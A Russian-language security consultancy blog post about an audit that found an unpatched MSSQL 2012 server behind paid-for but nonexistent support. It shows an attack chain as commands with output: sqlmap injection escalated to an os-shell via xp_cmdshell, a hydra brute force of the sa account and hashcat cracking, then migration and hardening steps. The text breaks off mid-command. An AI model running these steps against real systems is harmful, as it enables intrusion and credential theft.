CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

900 000 ₽ в год за «поддержку» устаревшей СУБД: технический разбор дыры, которую нашли на аудите

Реальный кейс: производственная компания три года платила за техподдержку СУБД, которая фактически не поддерживалась. Разбираем, как именно устаревшая база данных могла стать точкой входа для атаки — с командами, CVE и логикой эксплуатации.

Разбор CIOlogia

Новость о сокращении штата в одном из крупных российских разработчиков СУБД — хороший повод вернуться к истории, которая на первый взгляд выглядит чисто финансовой, а на деле оказывается классической историей про технический долг, который рано или поздно предъявляют к оплате — либо деньгами, либо простоем.

Счёт, который насторожил

Аудит производственной компании — мебель под заказ, около 60 сотрудников, собственная учётная система плюс веб-портал для клиентов, где можно отслеживать статус заказа. Первое, что бросилось в глаза в бухгалтерии — строка расходов «техподдержка БД», 900 000 ₽ в год, платится третий год подряд без вопросов.

При проверке выяснилось: подрядчик раз в квартал звонит и спрашивает «всё работает?». Реальных работ по патчингу, аудиту прав, обновлению версии — ноль. Формально услуга покупалась, фактически — нет.

Где была дыра

Вся учётная система и склад крутились на коммерческой реляционной СУБД зарубежного вендора, версия которой была официально снята с поддержки производителем ещё несколько лет назад. Обновлений безопасности для неё вендор больше не выпускает в принципе — не «купить платину», а физически негде взять патч.

При сканировании инфраструктуры картина была стандартная для такого возраста системы:

$ nmap -sV -p1-1000,1433,1521,3389 10.10.14.0/24

Nmap scan report for 10.10.14.22
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 7.5
443/tcp  open  ssl/http     Microsoft IIS httpd 7.5
1433/tcp open  ms-sql-s     Microsoft SQL Server 2012 SP1 (build 11.0.3128)
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Версия СУБД собрана более десяти лет назад, для линейки таких билдов публично известны цепочки эксплуатации, включая CVE-2019-1068 (RCE через специально сформированный запрос к Analysis Services) и CVE-2020-0618 (RCE в Reporting Services). Патчей на эту инсталляцию не устанавливали — потому что «подрядчик поддерживает».

Отдельная проблема — лицензия. Купленная в своё время официально, после ухода вендора из России она «продлевалась» через третьи руки без прямого договора с производителем. Формально это серая закупка: при налоговой проверке, споре с контрагентом или запросе от партнёра по контракту такие вещи всплывают не вовремя и не в пользу компании.

Как это эксплуатируется

Показываю логику атаки — не потому что кто-то реально ломал этого клиента, а потому что именно эти шаги проделал бы любой мало-мальски опытный пентестер или злоумышленник, наткнувшись на такую инфраструктуру снаружи или из соседнего VLAN.

  1. Разведка веб-портала. Клиентский портал отслеживания заказов часто пишется отдельной командой и без параметризованных запросов ходит в ту же базу, что и учётная система:

    $ gobuster dir -u https://portal.example-mebel.local -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx
    
    /order.aspx           (Status: 200)
    /orderstatus.aspx     (Status: 200)
    /admin/               (Status: 401)
    
  2. Поиск SQL-инъекции в параметре, который принимает номер заказа:

    $ sqlmap -u "https://portal.example-mebel.local/orderstatus.aspx?id=1024" \
      --batch --dbms=mssql --level=3 --risk=2
    
    [INFO] testing 'MySQL boolean-based blind - parameter replace'
    [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause'
    [INFO] GET parameter 'id' is vulnerable
    back-end DBMS: Microsoft SQL Server 2012
    
  3. Эскалация до командной строки сервера через xp_cmdshell — классика для не пропатченного и часто настроенного «для удобства» экземпляра MSSQL, где веб-пользователь БД получил лишние права (db_owner вместо изолированной учётки):

    $ sqlmap -u "https://portal.example-mebel.local/orderstatus.aspx?id=1024" \
      --os-shell --batch
    
    [INFO] the local file '...' does not exist
    os-shell> whoami
    NT SERVICE\MSSQLSERVER
    
  4. Параллельно — прямой брутфорс учётной записи sa, потому что порт 1433 нередко «на всякий случай» доступен и со стороны офисной сети, и по VPN подрядчика:

    $ hydra -l sa -P /usr/share/wordlists/rockyou.txt \
      -s 1433 mssql://10.10.14.22
    
    [1433][mssql] host: 10.10.14.22   login: sa   password: Mebel2015!
    
  5. Дамп базы и офлайн-подбор хэшей учётных записей ОС/домена, если через xp_cmdshell удалось выгрузить SAM или получить доступ к контроллеру домена по общей сети:

    $ hashcat -m 1000 ntlm_hashes.txt rockyou.txt --force
    
    Session..........: hashcat
    Status...........: Cracked
    Recovered........: 7/12 (58.33%)
    

Что и почему сработало бы

Дальше — типовое развитие: имея db_owner в промышленной базе, злоумышленник получает полный доступ к остаткам склада, ценам, персональным данным клиентов, а через xp_cmdshell — плацдарм в локальной сети для дальнейшего движения на файловые сервера и контроллер домена. На устаревшей СУБД без сегментации сети это редко останавливается на уровне «просто украли данные» — куда чаще следующий шаг — шифровальщик, потому что сервер БД одновременно является точкой, критичной для работы всей компании: без неё склад не отгружает заказы, бухгалтерия не может выставить счета.

Именно поэтому в изначальном разговоре с собственником речь шла не про абстрактную «безопасность», а про конкретные деньги: простой 2-3 дня из-за недоступности базы — это минимум 1,5-2 млн ₽ потерь на одном крупном сорванном заказе, не считая репутационных издержек с постоянными клиентами B2B-сегмента.

Сколько терял бизнес

  • 900 000 ₽/год за техподдержку, которая по факту сводилась к звонку раз в квартал
  • риск простоя 2-3 дня при инциденте — специалистов по этой версии СУБД в стране почти не осталось, восстанавливать было бы некому и не с кем согласовывать
  • юридическая уязвимость из-за серой схемы продления лицензии после ухода вендора
  • полная зависимость от одного человека у подрядчика, который «знает, как это работает» — классический bus factor в ИТ-инфраструктуре

Как закрыли

Решение — миграция на отечественную СУБД на базе PostgreSQL, зрелую и полностью поддерживаемую российскими вендорами, которые сейчас плотно закрывают эту нишу. Технически перенос данных выполнялся поэтапно:

# выгрузка схемы и данных из исходной СУБД в промежуточный формат
$ pg_loader mssql://user:pass@10.10.14.22/orders postgresql://user:pass@newdb/orders

# первичная синхронизация и валидация количества строк по ключевым таблицам
$ psql -h newdb -U orders_admin -c "SELECT count(*) FROM orders;"
$ psql -h newdb -U orders_admin -c "SELECT count(*) FROM warehouse_stock;"

Параллельно закрыли периметр и переработали модель доступа к базе:

# закрыть внешний доступ к порту БД, оставить только whitelisted IP
$ ufw allow from 10.10.10.0/24 to any port 5432 proto tcp
$ ufw deny 5432

# отдельная учётная запись для веб-портала с минимальными правами вместо db_owner
CREATE ROLE portal_readonly LOGIN PASSWORD '...';
GRANT SELECT ON orders, order_status TO portal_readonly;
REVOKE ALL ON SCHEMA public FROM portal_readonly;

Настроили автоматическое резервное копирование с ежедневной проверкой целостности бэкапа и алертом собственнику в мессенджер, если задание не отработало:

# cron-задание с проверкой контрольной суммы бэкапа
0 2 * * * pg_dump -Fc orders > /backup/orders_$(date +\%F).dump \
  && pg_restore --list /backup/orders_$(date